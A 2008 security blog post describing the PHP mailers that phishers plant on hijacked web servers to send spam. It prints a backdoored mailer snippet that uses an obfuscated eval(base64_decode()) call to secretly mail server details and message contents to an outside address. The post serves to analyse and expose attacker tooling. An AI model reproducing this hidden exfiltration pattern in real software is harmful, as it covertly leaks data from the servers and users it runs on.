marco
blog
Menu:
Lost and found on phishing sites: mailers
July 14, 2008
This is the second installment in the series about interesting things found on web sites that are taken over to host phishing pages. This time, we talk about mailers (the first post was about PHP shells), and — little teaser — we keep a surprise for the end of the post.
So, the bad guys have just compromised a web server, uploaded a phishing kit, and deployed a perfect copy of, say, Bank of America. What's the next step? The attackers just have to attract victims to the site and hope that they will give away their credentials and other confidential information. The best way of doing it is to spam the world with emails claiming that the recipient's account has been suspended (or some other more or less plausible story) and that the situation can be solved by visiting the phishing site.
How do the phishers send the emails? If they don't want to rent a botnet, a cheap way is to use the compromised server's resources. And here is where a mailer comes useful. A mailer is a program, typically written in PHP, that has a web-based interface through which one can insert the mail's message and a list of recipients. The program then sends out the emails. Here is a screenshot of one of these mailers:
The mailers I've seen most frequently are Subzero, Str8 Inbox, PHP Mailer, ToXiC350 MailEr, Mailing Machine, Bulk Maileren, INBOX PHP-Mailer, Mailer All Inbox, Mass Fuckin Mailer Inbox, PHP-Mailer by Mr-Brain (a familiar name, isn't?). Furthermore, many of the PHP shells we have seen previously also offer mailer functionality.
Finally, here is one surprise I've found in one of the mailers whose source code was also left on the phishing site:
<?php
$a5 = $_SERVER['HTTP_REFERER'];
$b33 = $_SERVER['DOCUMENT_ROOT'];
$c87 = $_SERVER['REMOTE_ADDR'];
$d23 = $_SERVER['SCRIPT_FILENAME'];
$e09 = $_SERVER['SERVER_ADDR'];
$f23 = $_SERVER['SERVER_SOFTWARE'];
$g32 = $_SERVER['PATH_TRANSLATED'];
$h65 = $_SERVER['PHP_SELF'];
$message=$_POST['message'];
$msg = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";
echo eval(base64_decode("bWFpbCgiZ3JvZmlfaGFja0Bob3RtYWlsLmNvbSIsICRzdWJ
qOTgsICRtc2csICRtZXNzYWdlLCAkcmE0NCk7"));
?>
And the last string, if you don't read base64, really is:
mail("grofi_hack@hotmail.com", $subj98, $msg, $message, $ra44);
So, a little backdoor! What is a poor phisher to do? After phishing kits, one cannot even trust mailers...
To leave a comment, complete the form below. Mandatory fields are marked *.